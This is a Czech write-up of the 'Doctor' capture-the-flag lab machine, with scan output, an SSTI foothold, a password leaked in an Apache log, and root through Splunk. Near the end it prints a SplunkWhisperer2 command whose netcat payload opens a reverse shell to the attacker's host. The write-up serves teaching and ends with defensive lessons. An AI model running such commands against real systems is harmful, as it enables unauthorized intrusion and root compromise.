Doctor
Úvod a kontext
Doctor spojuje dvě rozdílné technologie do jednoho řetězce: veřejnou Flask aplikaci na doctors.htb a interní Splunk na portu 8089. První shell vznikne přes SSTI v příspěvku zobrazeném na neveřejném /archive; root potom přes reuse hesla v Splunku a vzdálenou instalaci škodlivé appky.
Výukově je na tom stroji důležité hlavně to, že oba kroky stojí na detailu, který se snadno přehlédne. U webu je to zakomentovaný odkaz na /archive, u Linux části zase Apache log obsahující heslo Guitar123 v URL resetu.
Počáteční průzkum
Vyhledání otevřených portů
Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.
IP=10.10.10.209;ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);nmap -p $ports -A -sC -sV -v $IP
Detailní analýza služeb
V dalším kroku si zpřesňuji verze služeb a jejich charakteristiky, protože právě z těchto detailů obvykle vzniká rozhodnutí, zda pokračovat přes web, SSH nebo jinou vrstvu.
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 59:4d:4e:c2:d8:cf:da:9d:a8:c8:d0:fd:99:a8:46:17 (RSA)
| 256 7f:f3:dc:fb:2d:af:cb:ff:99:34:ac:e0:f8:00:1e:47 (ECDSA)
|_ 256 53:0e:96:6b:9c:e9:c1:a1:70:51:6c:2d:ce:7b:43:e8 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Doctor
8089/tcp open ssl/http Splunkd httpd
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Splunkd
|_http-title: splunkd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Issuer: commonName=SplunkCommonCA/organizationName=Splunk/stateOrProvinceName=CA/countryName=US
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-09-06T15:57:27
| Not valid after: 2023-09-06T15:57:27
| MD5: db23 4e5c 546d 8895 0f5f 8f42 5e90 6787
|_SHA-1: 7ec9 1bb7 343f f7f6 bdd7 d015 d720 6f6f 19e2 098b
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Enumerace webu
Ve webové vrstvě hledám neveřejné cesty, vývojové artefakty a chybně vystavené soubory, protože právě ty často prozradí technologii aplikace, interní workflow nebo přímo přístupové údaje.
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -t 40 -x php,txt,log,html -u http://$IP
Enumerace webu (2)
Ve webové vrstvě hledám neveřejné cesty, vývojové artefakty a chybně vystavené soubory, protože právě ty často prozradí technologii aplikace, interní workflow nebo přímo přístupové údaje.
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.209
[+] Threads: 40
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: html,php,txt,log
[+] Timeout: 10s
===============================================================
2020/11/01 00:15:30 Starting gobuster
===============================================================
/images (Status: 301)
/js (Status: 301)
/blog.html (Status: 200)
/contact.html (Status: 200)
/about.html (Status: 200)
/css (Status: 301)
/services.html (Status: 200)
/index.html (Status: 200)
/fonts (Status: 301)
/departments.html (Status: 200)
/server-status (Status: 403)
Analýza zjištění
Vhost doctors.htb a skrytý /archive
Veřejný marketingový web na portu 80 sám o sobě nevydá nic zásadního, ale e-mail info@doctors.htb prozradí správný vhost. whatweb pak ukáže Flask/Werkzeug a po registraci je ve zdrojáku /home vidět zakomentovaný odkaz na /archive. To je přesně ten typ stopy, který změní obyčejnou registraci v relevantní útok.
whatweb http://doctors.htb
http://doctors.htb [302 Found] Cookies[session], HTTPServer[Werkzeug/1.0.1 Python/3.8.2], RedirectLocation[http://doctors.htb/login?next=%2F], Werkzeug[1.0.1]
<!--archive still under beta testing<a class="nav-item nav-link" href="/archive">Archive</a>-->
SSTI v příspěvcích
Příspěvky publikované do aplikace se na /archive renderují přes Jinja2 bez dostatečné sanitizace. Proto má smysl vložit klasický SSTI payload a počkat, až archiv zpráv vstup vyrenderuje na serveru.
Získání přístupu
Shell přes /archive a heslo shaun
Jakmile /archive payload vykoná, vznikne první shell. Lokální enumerace potom rychle ukáže Apache log, kde zůstal request na reset hesla s hodnotou Guitar123. Ta funguje pro shaun, takže dává smysl přepnout se z webového procesu na stabilní uživatelský účet.
linpeas.sh
=> /var/log/apache2/backup:10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password"
su shaun
Získání user flagu
user.txt tady potvrzuje, že SSTI a lokální logy nakonec vedly k plnohodnotnému shellu pod shaun, ne jen k přechodnému webovému kontextu.
cat /home/shaun/user.txt
__CENSORED__
Eskalace oprávnění
Splunk jako root kanál
Na hostu běží Splunkd na 8089 a heslo Guitar123 funguje i pro účet shaun ve Splunku. To dovolí použít SplunkWhisperer2 a přes instalaci škodlivé appky spustit příkaz přímo jako root.
python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --lhost 10.10.14.4 --username shaun --password Guitar123 --payload "nc.traditional -e /bin/sh '10.10.14.4' '4000'"
Získání root flagu
Jakmile Splunk payload doběhne, je root shell už jen otázka navázání listeneru. Tady je důležité, že příčinou není samotný netcat payload, ale možnost vzdáleně doručit a aktivovat Splunk appku s privilegiem roota.
cat root.txt
__CENSORED__
Shrnutí klíčových poznatků
- První foothold stál na Flask aplikaci
doctors.htb, skrytém/archivea SSTI v renderovaném příspěvku. - Přechod na
shaunneotevřel další exploit, ale špatná operační hygiena: hesloGuitar123zůstalo v Apache logu. - Root vznikl z reuse stejného hesla ve Splunku a možnosti vzdáleně instalovat nebo spustit škodlivou Splunk appku.
Co si odnést do praxe
- Zakomentované nebo “beta” endpointy nejsou neškodné. Pokud na nich běží jiný renderovací režim než v hlavní aplikaci, mohou se snadno stát nejkratší cestou k RCE.
- Hesla nesmějí končit v URL ani v access logu. Jakmile se do logu zapíše
reset_password?email=Guitar123, jde o přímý zdroj reuse credentialů pro další účty. - Administrativní nástroje typu Splunk potřebují oddělené účty a přísnou kontrolu rozšíření. Pokud stejné heslo funguje i tam a systém dovolí vzdáleně nahrát appku, přechod na root je velmi přímočarý.